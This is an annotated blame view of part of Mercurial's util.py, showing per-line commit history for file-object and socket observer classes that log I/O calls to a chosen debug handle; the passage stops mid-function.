37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
872 |
|
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
873 |
self._writedata(res) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
874 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
875 |
def readline(self, res, limit=-1): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
876 |
if not self.reads: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
877 |
return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
878 |
|
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
879 |
if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
880 |
self.fh.write(b'%s> readline() -> %d' % (self.name, len(res))) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
881 |
|
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
882 |
self._writedata(res) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
883 |
|
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
884 |
def readinto(self, res, dest): |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
885 |
if not self.reads: |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
886 |
return |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
887 |
|
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
888 |
if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
889 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
890 |
b'%s> readinto(%d) -> %r' % (self.name, len(dest), res) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
891 |
) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
892 |
|
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
893 |
data = dest[0:res] if res is not None else b'' |
41384
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
894 |
|
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
895 |
# _writedata() uses "in" operator and is confused by memoryview because |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
896 |
# characters are ints on Python 3. |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
897 |
if isinstance(data, memoryview): |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
898 |
data = data.tobytes() |
b141b5243b37
util: cast memoryview to bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
41289
diff
changeset
|
899 |
|
36630
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
900 |
self._writedata(data) |
29128309c52d
util: log readinto() I/O
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36629
diff
changeset
|
901 |
|
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
902 |
def write(self, res, data): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
903 |
if not self.writes: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
904 |
return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
905 |
|
36631
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
906 |
# Python 2 returns None from some write() calls. Python 3 (reasonably) |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
907 |
# returns the integer bytes written. |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
908 |
if res is None and data: |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
909 |
res = len(data) |
8395fddde46c
util: report integer result from write()
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36630
diff
changeset
|
910 |
|
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
911 |
if self.logdataapis: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
912 |
self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res)) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
913 |
|
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
914 |
self._writedata(data) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
915 |
|
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
916 |
def flush(self, res): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
917 |
if not self.writes: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
918 |
return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
919 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
920 |
self.fh.write(b'%s> flush() -> %r\n' % (self.name, res)) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
921 |
|
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
922 |
# For observedbufferedinputpipe. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
923 |
def bufferedread(self, res, size): |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
924 |
if not self.reads: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
925 |
return |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
926 |
|
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
927 |
if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
928 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
929 |
b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
930 |
) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
931 |
|
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
932 |
self._writedata(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
933 |
|
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
934 |
def bufferedreadline(self, res): |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
935 |
if not self.reads: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
936 |
return |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
937 |
|
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
938 |
if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
939 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
940 |
b'%s> bufferedreadline() -> %d' % (self.name, len(res)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
941 |
) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
942 |
|
36525
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
943 |
self._writedata(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
944 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
945 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
946 |
def makeloggingfileobject( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
947 |
logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
948 |
): |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
949 |
"""Turn a file object into a logging file object.""" |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
950 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
951 |
observer = fileobjectobserver( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
952 |
logh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
953 |
name, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
954 |
reads=reads, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
955 |
writes=writes, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
956 |
logdata=logdata, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
957 |
logdataapis=logdataapis, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
958 |
) |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
959 |
return fileobjectproxy(fh, observer) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
960 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
961 |
|
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
962 |
class socketobserver(baseproxyobserver): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
963 |
"""Logs socket activity.""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
964 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
965 |
def __init__( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
966 |
self, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
967 |
fh, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
968 |
name, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
969 |
reads=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
970 |
writes=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
971 |
states=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
972 |
logdata=False, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
973 |
logdataapis=True, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
974 |
): |
43920
4222b9d5d4fb
util: move common proxyobserver attributes to the base class
Matt Harbison <matt_harbison@yahoo.com>
parents:
43907
diff
changeset
|
975 |
super(socketobserver, self).__init__(fh, name, logdata, logdataapis) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
976 |
self.reads = reads |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
977 |
self.writes = writes |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
978 |
self.states = states |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
979 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
980 |
def makefile(self, res, mode=None, bufsize=None): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
981 |
if not self.states: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
982 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
983 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
984 |
self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize)) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
985 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
986 |
def recv(self, res, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
987 |
if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
988 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
989 |
|
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
990 |
if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
991 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
992 |
b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
993 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
994 |
self._writedata(res) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
995 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
996 |
def recvfrom(self, res, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
997 |
if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
998 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
999 |
|
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1000 |
if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1001 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1002 |
b'%s> recvfrom(%d, %d) -> %d' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1003 |
% (self.name, size, flags, len(res[0])) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1004 |
) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1005 |
|
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1006 |
self._writedata(res[0]) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1007 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1008 |
def recvfrom_into(self, res, buf, size, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1009 |
if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1010 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1011 |
|
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1012 |
if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1013 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1014 |
b'%s> recvfrom_into(%d, %d) -> %d' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1015 |
% (self.name, size, flags, res[0]) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1016 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1017 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1018 |
self._writedata(buf[0 : res[0]]) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1019 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1020 |
def recv_into(self, res, buf, size=0, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1021 |
if not self.reads: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1022 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1023 |
|
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1024 |
if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1025 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1026 |
b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1027 |
) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1028 |
|
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1029 |
self._writedata(buf[0:res]) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1030 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1031 |
def send(self, res, data, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1032 |
if not self.writes: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1033 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1034 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1035 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1036 |
b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1037 |
) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1038 |
self._writedata(data) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1039 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1040 |
def sendall(self, res, data, flags=0): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1041 |
if not self.writes: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1042 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1043 |
|
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1044 |
if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1045 |
# Returns None on success. So don't bother reporting return value. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1046 |
self.fh.write( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1047 |
b'%s> sendall(%d, %d)' % (self.name, len(data), flags) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1048 |
) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1049 |
|
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1050 |
self._writedata(data) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1051 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1052 |
def sendto(self, res, data, flagsoraddress, address=None): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1053 |
if not self.writes: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1054 |
return |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1055 |
|
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1056 |
if address: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1057 |
flags = flagsoraddress |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1058 |
else: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1059 |
flags = 0 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
1060 |
|
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1061 |
if self.logdataapis: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1062 |
self.fh.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
1063 |
b'%s> sendto(%d, %d, %r) -> %d' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1064 |
% (self.name, len(data), flags, address, res) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
1065 |
) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
1066 |
|
37010
8453699a1f21
util: observable proxy objects for sockets
